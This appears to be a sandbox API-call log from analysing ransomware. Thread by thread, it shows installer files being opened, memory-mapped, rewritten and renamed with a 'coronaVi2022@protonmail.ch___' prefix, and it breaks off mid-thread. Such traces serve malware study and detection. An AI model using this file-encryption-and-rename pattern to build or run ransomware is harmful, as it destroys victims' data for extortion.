	[0080.531] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1035\\eula.rtf", dwFileAttributes=0x80) returned 1
	[0080.532] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1035\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1035\\eula.rtf"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x448
	[0080.532] GetFileSizeEx (in: hFile=0x448, lpFileSize=0x33cff5c | out: lpFileSize=0x33cff5c*=3702) returned 1
	[0080.532] CreateFileMappingA (hFile=0x448, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xe7b, lpName=0x0) returned 0x44c
	[0080.532] MapViewOfFile (hFileMappingObject=0x44c, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x33d0000
	[0080.534] UnmapViewOfFile (lpBaseAddress=0x33d0000) returned 1
	[0080.534] CloseHandle (hObject=0x44c) returned 1
	[0080.534] GetCurrentThreadId () returned 0xf6c
	[0080.534] FlushFileBuffers (hFile=0x448) returned 1
	[0080.536] CloseHandle (hObject=0x448) returned 1
	[0080.538] _swprintf (in: param_1=0x33c9f1c, param_2="%s%s___%s" | out: param_1="C:\\588bce7c90097ed212\\1035\\coronaVi2022@protonmail.ch___eula.rtf") returned 64
	[0080.538] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1035\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1035\\eula.rtf"), lpNewFileName="C:\\588bce7c90097ed212\\1035\\coronaVi2022@protonmail.ch___eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1035\\coronavi2022@protonmail.ch___eula.rtf")) returned 1
	[0080.539] free (_Block=0x2f182a8) 
	[0080.539] RtlExitUserThread (Status=0x0) 

Thread:
	id = 95
	os_tid = 0xf60

	[0080.542] _alloca_probe () returned 0x40328a
	[0080.543] GetCurrentThreadId () returned 0xf60
	[0080.543] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml", dwFileAttributes=0x80) returned 1
	[0080.543] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1035\\localizeddata.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x44c
	[0080.543] GetFileSizeEx (in: hFile=0x44c, lpFileSize=0x33cff5c | out: lpFileSize=0x33cff5c*=77022) returned 1
	[0080.543] CreateFileMappingA (hFile=0x44c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x12ceb, lpName=0x0) returned 0x450
	[0080.543] MapViewOfFile (hFileMappingObject=0x450, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x33d0000
	[0080.558] UnmapViewOfFile (lpBaseAddress=0x33d0000) returned 1
	[0080.559] CloseHandle (hObject=0x450) returned 1
	[0080.559] GetCurrentThreadId () returned 0xf60
	[0080.559] FlushFileBuffers (hFile=0x44c) returned 1
	[0081.235] CloseHandle (hObject=0x44c) returned 1
	[0081.238] _swprintf (in: param_1=0x33c9f1c, param_2="%s%s___%s" | out: param_1="C:\\588bce7c90097ed212\\1035\\coronaVi2022@protonmail.ch___LocalizedData.xml") returned 73
	[0081.238] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1035\\localizeddata.xml"), lpNewFileName="C:\\588bce7c90097ed212\\1035\\coronaVi2022@protonmail.ch___LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1035\\coronavi2022@protonmail.ch___localizeddata.xml")) returned 1
	[0081.239] free (_Block=0x2f182a8) 
	[0081.239] RtlExitUserThread (Status=0x0) 

Thread:
	id = 98
	os_tid = 0xfbc

	[0081.100] _alloca_probe () returned 0x40328a
	[0081.100] GetCurrentThreadId () returned 0xfbc
	[0081.100] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1036\\eula.rtf", dwFileAttributes=0x80) returned 1
	[0081.101] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1036\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1036\\eula.rtf"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x454
	[0081.101] GetFileSizeEx (in: hFile=0x454, lpFileSize=0x241ff5c | out: lpFileSize=0x241ff5c*=3526) returned 1
	[0081.101] CreateFileMappingA (hFile=0x454, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xdcb, lpName=0x0) returned 0x418
	[0081.101] MapViewOfFile (hFileMappingObject=0x418, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x3010000
	[0081.104] UnmapViewOfFile (lpBaseAddress=0x3010000) returned 1
	[0081.104] CloseHandle (hObject=0x418) returned 1
	[0081.104] GetCurrentThreadId () returned 0xfbc
	[0081.104] FlushFileBuffers (hFile=0x454) returned 1
	[0081.106] CloseHandle (hObject=0x454) returned 1
	[0081.108] _swprintf (in: param_1=0x2419f1c, param_2="%s%s___%s" | out: param_1="C:\\588bce7c90097ed212\\1036\\coronaVi2022@protonmail.ch___eula.rtf") returned 64
	[0081.108] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1036\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1036\\eula.rtf"), lpNewFileName="C:\\588bce7c90097ed212\\1036\\coronaVi2022@protonmail.ch___eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1036\\coronavi2022@protonmail.ch___eula.rtf")) returned 1
	[0081.109] free (_Block=0x2f13060) 
	[0081.109] RtlExitUserThread (Status=0x0) 

Thread:
	id = 99
	os_tid = 0xcdc

	[0081.111] _alloca_probe () returned 0x40328a
	[0081.112] GetCurrentThreadId () returned 0xcdc
	[0081.112] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml", dwFileAttributes=0x80) returned 1
	[0081.112] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1036\\localizeddata.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x418
	[0081.112] GetFileSizeEx (in: hFile=0x418, lpFileSize=0x241ff5c | out: lpFileSize=0x241ff5c*=82962) returned 1
	[0081.112] CreateFileMappingA (hFile=0x418, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x14413, lpName=0x0) returned 0x440
	[0081.112] MapViewOfFile (hFileMappingObject=0x440, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x3010000
	[0081.128] UnmapViewOfFile (lpBaseAddress=0x3010000) returned 1
	[0081.129] CloseHandle (hObject=0x440) returned 1
	[0081.129] GetCurrentThreadId () returned 0xcdc
	[0081.129] FlushFileBuffers (hFile=0x418) returned 1
	[0081.253] CloseHandle (hObject=0x418) returned 1
	[0081.257] _swprintf (in: param_1=0x2419f1c, param_2="%s%s___%s" | out: param_1="C:\\588bce7c90097ed212\\1036\\coronaVi2022@protonmail.ch___LocalizedData.xml") returned 73
	[0081.257] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1036\\localizeddata.xml"), lpNewFileName="C:\\588bce7c90097ed212\\1036\\coronaVi2022@protonmail.ch___LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1036\\coronavi2022@protonmail.ch___localizeddata.xml")) returned 1
	[0081.257] free (_Block=0x2f13060) 
	[0081.257] RtlExitUserThread (Status=0x0) 

Thread:
	id = 100
	os_tid = 0x4f8

	[0081.145] _alloca_probe () returned 0x40328a
	[0081.146] GetCurrentThreadId () returned 0x4f8
	[0081.146] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1037\\eula.rtf", dwFileAttributes=0x80) returned 1
	[0081.146] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1037\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1037\\eula.rtf"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x458
	[0081.146] GetFileSizeEx (in: hFile=0x458, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=6851) returned 1
	[0081.146] CreateFileMappingA (hFile=0x458, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1ac5, lpName=0x0) returned 0x45c
	[0081.147] MapViewOfFile (hFileMappingObject=0x45c, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x33d0000
	[0081.149] UnmapViewOfFile (lpBaseAddress=0x33d0000) returned 1
	[0081.149] CloseHandle (hObject=0x45c) returned 1
	[0081.150] GetCurrentThreadId () returned 0x4f8
	[0081.150] FlushFileBuffers (hFile=0x458) returned 1
	[0081.151] CloseHandle (hObject=0x458) returned 1
	[0081.154] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\588bce7c90097ed212\\1037\\coronaVi2022@protonmail.ch___eula.rtf") returned 64
	[0081.154] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1037\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1037\\eula.rtf"), lpNewFileName="C:\\588bce7c90097ed212\\1037\\coronaVi2022@protonmail.ch___eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1037\\coronavi2022@protonmail.ch___eula.rtf")) returned 1
	[0081.154] free (_Block=0x2f1a2b8) 
	[0081.154] RtlExitUserThread (Status=0x0) 

Thread:
	id = 101
	os_tid = 0xd00

	[0081.157] _alloca_probe () returned 0x40328a
	[0081.158] GetCurrentThreadId () returned 0xd00
	[0081.158] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml", dwFileAttributes=0x80) returned 1
	[0081.158] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1037\\localizeddata.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x45c
	[0081.158] GetFileSizeEx (in: hFile=0x45c, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=72076) returned 1
	[0081.158] CreateFileMappingA (hFile=0x45c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x11997, lpName=0x0) returned 0x460
	[0081.159] MapViewOfFile (hFileMappingObject=0x460, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x33d0000
	[0081.173] UnmapViewOfFile (lpBaseAddress=0x33d0000) returned 1
	[0081.173] CloseHandle (hObject=0x460) returned 1
	[0081.174] GetCurrentThreadId () returned 0xd00
	[0081.174] FlushFileBuffers (hFile=0x45c) returned 1
	[0081.552] CloseHandle (hObject=0x45c) returned 1
	[0081.556] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\588bce7c90097ed212\\1037\\coronaVi2022@protonmail.ch___LocalizedData.xml") returned 73
	[0081.556] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1037\\localizeddata.xml"), lpNewFileName="C:\\588bce7c90097ed212\\1037\\coronaVi2022@protonmail.ch___LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1037\\coronavi2022@protonmail.ch___localizeddata.xml")) returned 1
	[0081.556] free (_Block=0x2f1a2b8) 
	[0081.556] RtlExitUserThread (Status=0x0) 

Thread:
	id = 102
	os_tid = 0xd6c

	[0081.187] _alloca_probe () returned 0x40328a
	[0081.187] GetCurrentThreadId () returned 0xd6c
	[0081.188] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1038\\eula.rtf", dwFileAttributes=0x80) returned 1
	[0081.188] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1038\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1038\\eula.rtf"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x464
	[0081.188] GetFileSizeEx (in: hFile=0x464, lpFileSize=0x350ff5c | out: lpFileSize=0x350ff5c*=4254) returned 1
	[0081.188] CreateFileMappingA (hFile=0x464, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x10ab, lpName=0x0) returned 0x468
	[0081.188] MapViewOfFile (hFileMappingObject=0x468, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x3510000
	[0081.189] UnmapViewOfFile (lpBaseAddress=0x3510000) returned 1
	[0081.190] CloseHandle (hObject=0x468) returned 1
	[0081.190] GetCurrentThreadId () returned 0xd6c
	[0081.190] FlushFileBuffers (hFile=0x464) returned 1
	[0081.192] CloseHandle (hObject=0x464) returned 1
	[0081.194] _swprintf (in: param_1=0x3509f1c, param_2="%s%s___%s" | out: param_1="C:\\588bce7c90097ed212\\1038\\coronaVi2022@protonmail.ch___eula.rtf") returned 64
	[0081.195] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1038\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1038\\eula.rtf"), lpNewFileName="C:\\588bce7c90097ed212\\1038\\coronaVi2022@protonmail.ch___eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1038\\coronavi2022@protonmail.ch___eula.rtf")) returned 1
	[0081.199] free (_Block=0x2f1c2c8) 
	[0081.199] RtlExitUserThread (Status=0x0) 

Thread:
	id = 105
	os_tid = 0x5c4

	[0081.302] _alloca_probe () returned 0x40328a
	[0081.303] GetCurrentThreadId () returned 0x5c4
	[0081.303] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml", dwFileAttributes=0x80) returned 1
	[0081.303] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1038\\localizeddata.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x44c
	[0081.303] GetFileSizeEx (in: hFile=0x44c, lpFileSize=0x241ff5c | out: lpFileSize=0x241ff5c*=86442) returned 1
	[0081.303] CreateFileMappingA (hFile=0x44c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x151b3, lpName=0x0) returned 0x464
	[0081.303] MapViewOfFile (hFileMappingObject=0x464, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x3290000
	[0081.320] UnmapViewOfFile (lpBaseAddress=0x3290000) returned 1
	[0081.321] CloseHandle (hObject=0x464) returned 1
	[0081.321] GetCurrentThreadId () returned 0x5c4
	[0081.321] FlushFileBuffers (hFile=0x44c) returned 1
	[0081.727] CloseHandle (hObject=0x44c) returned 1
	[0081.731] _swprintf (in: param_1=0x2419f1c, param_2="%s%s___%s" | out: param_1="C:\\588bce7c90097ed212\\1038\\coronaVi2022@protonmail.ch___LocalizedData.xml") returned 73
	[0081.731] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1038\\localizeddata.xml"), lpNewFileName="C:\\588bce7c90097ed212\\1038\\coronaVi2022@protonmail.ch___LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1038\\coronavi2022@protonmail.ch___localizeddata.xml")) returned 1
	[0081.732] free (_Block=0x2f13060) 
	[0081.732] RtlExitUserThread (Status=0x0) 

Thread:
	id = 106
	os_tid = 0xafc

	[0081.337] _alloca_probe () returned 0x40328a
	[0081.337] GetCurrentThreadId () returned 0xafc
	[0081.338] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1040\\eula.rtf", dwFileAttributes=0x80) returned 1
	[0081.338] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1040\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1040\\eula.rtf"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x468
	[0081.338] GetFileSizeEx (in: hFile=0x468, lpFileSize=0x33cff5c | out: lpFileSize=0x33cff5c*=3643) returned 1
	[0081.338] CreateFileMappingA (hFile=0x468, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xe45, lpName=0x0) returned 0x46c
	[0081.339] MapViewOfFile (hFileMappingObject=0x46c, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x33d0000
	[0081.340] UnmapViewOfFile (lpBaseAddress=0x33d0000) returned 1
	[0081.340] CloseHandle (hObject=0x46c) returned 1
	[0081.340] GetCurrentThreadId () returned 0xafc
	[0081.340] FlushFileBuffers (hFile=0x468) returned 1
	[0081.342] CloseHandle (hObject=0x468) returned 1
	[0081.344] _swprintf (in: param_1=0x33c9f1c, param_2="%s%s___%s" | out: param_1="C:\\588bce7c90097ed212\\1040\\coronaVi2022@protonmail.ch___eula.rtf") returned 64
	[0081.344] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1040\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1040\\eula.rtf"), lpNewFileName="C:\\588bce7c90097ed212\\1040\\coronaVi2022@protonmail.ch___eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1040\\coronavi2022@protonmail.ch___eula.rtf")) returned 1
	[0081.345] free (_Block=0x2f1c2c8) 
	[0081.345] RtlExitUserThread (Status=0x0) 

Thread:
	id = 107
	os_tid = 0x1ec

	[0081.350] _alloca_probe () returned 0x40328a
	[0081.350] GetCurrentThreadId () returned 0x1ec
	[0081.350] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml", dwFileAttributes=0x80) returned 1
	[0081.350] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1040\\localizeddata.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x46c
	[0081.351] GetFileSizeEx (in: hFile=0x46c, lpFileSize=0x33cff5c | out: lpFileSize=0x33cff5c*=80060) returned 1
	[0081.351] CreateFileMappingA (hFile=0x46c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x138c7, lpName=0x0) returned 0x470
	[0081.351] MapViewOfFile (hFileMappingObject=0x470, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x33d0000
	[0081.366] UnmapViewOfFile (lpBaseAddress=0x33d0000) returned 1
	[0081.367] CloseHandle (hObject=0x470) returned 1
	[0081.367] GetCurrentThreadId () returned 0x1ec
	[0081.367] FlushFileBuffers (hFile=0x46c) returned 1
	[0081.746] CloseHandle (hObject=0x46c) returned 1
	[0081.748] _swprintf (in: param_1=0x33c9f1c, param_2="%s%s___%s" | out: param_1="C:\\588bce7c90097ed212\\1040\\coronaVi2022@protonmail.ch___LocalizedData.xml") returned 73
	[0081.748] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1040\\localizeddata.xml"), lpNewFileName="C:\\588bce7c90097ed212\\1040\\coronaVi2022@protonmail.ch___LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1040\\coronavi2022@protonmail.ch___localizeddata.xml")) returned 1
	[0081.749] free (_Block=0x2f1c2c8) 
	[0081.749] RtlExitUserThread (Status=0x0) 

Thread:
	id = 108
	os_tid = 0xdec

	[0081.380] _alloca_probe () returned 0x40328a
	[0081.380] GetCurrentThreadId () returned 0xdec
	[0081.380] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1041\\eula.rtf", dwFileAttributes=0x80) returned 1
	[0081.381] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1041\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1041\\eula.rtf"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x474
	[0081.381] GetFileSizeEx (in: hFile=0x474, lpFileSize=0x350ff5c | out: lpFileSize=0x350ff5c*=10125) returned 1
	[0081.381] CreateFileMappingA (hFile=0x474, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2799, lpName=0x0) returned 0x478
	[0081.381] MapViewOfFile (hFileMappingObject=0x478, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x3510000
	[0081.384] UnmapViewOfFile (lpBaseAddress=0x3510000) returned 1
	[0081.384] CloseHandle (hObject=0x478) returned 1
	[0081.384] GetCurrentThreadId () returned 0xdec
	[0081.384] FlushFileBuffers (hFile=0x474) returned 1
	[0081.740] CloseHandle (hObject=0x474) returned 1
	[0081.741] _swprintf (in: param_1=0x3509f1c, param_2="%s%s___%s" | out: param_1="C:\\588bce7c90097ed212\\1041\\coronaVi2022@protonmail.ch___eula.rtf") returned 64
	[0081.741] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1041\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1041\\eula.rtf"), lpNewFileName="C:\\588bce7c90097ed212\\1041\\coronaVi2022@protonmail.ch___eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1041\\coronavi2022@protonmail.ch___eula.rtf")) returned 1
	[0081.742] free (_Block=0x2f1e2d8) 
	[0081.742] RtlExitUserThread (Status=0x0) 

Thread:
	id = 109
	os_tid = 0xe90

	[0081.386] _alloca_probe () returned 0x40328a
	[0081.387] GetCurrentThreadId () returned 0xe90
	[0081.387] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml", dwFileAttributes=0x80) returned 1
	[0081.387] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1041\\localizeddata.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x47c
	[0081.387] GetFileSizeEx (in: hFile=0x47c, lpFileSize=0x364ff5c | out: lpFileSize=0x364ff5c*=68226) returned 1
	[0081.387] CreateFileMappingA (hFile=0x47c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x10a83, lpName=0x0) returned 0x480
	[0081.388] MapViewOfFile (hFileMappingObject=0x480, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x3650000
	[0081.401] UnmapViewOfFile (lpBaseAddress=0x3650000) returned 1
	[0081.402] CloseHandle (hObject=0x480) returned 1
	[0081.402] GetCurrentThreadId () returned 0xe90
	[0081.402] FlushFileBuffers (hFile=0x47c) returned 1
	[0081.404] CloseHandle (hObject=0x47c) returned 1
	[0081.407] _swprintf (in: param_1=0x3649f1c, param_2="%s%s___%s" | out: param_1="C:\\588bce7c90097ed212\\1041\\coronaVi2022@protonmail.ch___LocalizedData.xml") returned 73
	[0081.407] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1041\\localizeddata.xml"), lpNewFileName="C:\\588bce7c90097ed212\\1041\\coronaVi2022@protonmail.ch___LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1041\\coronavi2022@protonmail.ch___localizeddata.xml")) returned 1
	[0081.408] free (_Block=0x2f1f2e0) 
	[0081.408] RtlExitUserThread (Status=0x0) 

Thread:
	id = 110
	os_tid = 0xf14

	[0081.614] _alloca_probe () returned 0x40328a
	[0081.614] GetCurrentThreadId () returned 0xf14
	[0081.614] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1042\\eula.rtf", dwFileAttributes=0x80) returned 1
	[0081.615] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1042\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1042\\eula.rtf"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x47c
	[0081.615] GetFileSizeEx (in: hFile=0x47c, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=12687) returned 1
	[0081.615] CreateFileMappingA (hFile=0x47c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x319d, lpName=0x0) returned 0x480
	[0081.615] MapViewOfFile (hFileMappingObject=0x480, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x3510000
	[0081.618] UnmapViewOfFile (lpBaseAddress=0x3510000) returned 1
	[0081.618] CloseHandle (hObject=0x480) returned 1
	[0081.619] GetCurrentThreadId () returned 0xf14
	[0081.619] FlushFileBuffers (hFile=0x47c) returned 1
	[0081.623] CloseHandle (hObject=0x47c) returned 1
	[0081.626] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\588bce7c90097ed212\\1042\\coronaVi2022@protonmail.ch___eula.rtf") returned 64
	[0081.626] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1042\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1042\\eula.rtf"), lpNewFileName="C:\\588bce7c90097ed212\\1042\\coronaVi2022@protonmail.ch___eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1042\\coronavi2022@protonmail.ch___eula.rtf")) returned 1
	[0081.626] free (_Block=0x2f1f2e0) 
	[0081.627] RtlExitUserThread (Status=0x0) 

Thread:
	id = 111
	os_tid = 0xf2c

	[0081.629] _alloca_probe () returned 0x40328a
	[0081.629] GetCurrentThreadId () returned 0xf2c
	[0081.629] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml", dwFileAttributes=0x80) returned 1
	[0081.629] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1042\\localizeddata.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x480
	[0081.630] GetFileSizeEx (in: hFile=0x480, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=65238) returned 1
	[0081.630] CreateFileMappingA (hFile=0x480, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xfedb, lpName=0x0) returned 0x484
	[0081.630] MapViewOfFile (hFileMappingObject=0x484, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x3510000
	[0081.643] UnmapViewOfFile (lpBaseAddress=0x3510000) returned 1
	[0081.644] CloseHandle (hObject=0x484) returned 1
	[0081.644] GetCurrentThreadId () returned 0xf2c
	[0081.644] FlushFileBuffers (hFile=0x480) returned 1
	[0081.892] CloseHandle (hObject=0x480) returned 1
	[0081.894] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\588bce7c90097ed212\\1042\\coronaVi2022@protonmail.ch___LocalizedData.xml") returned 73
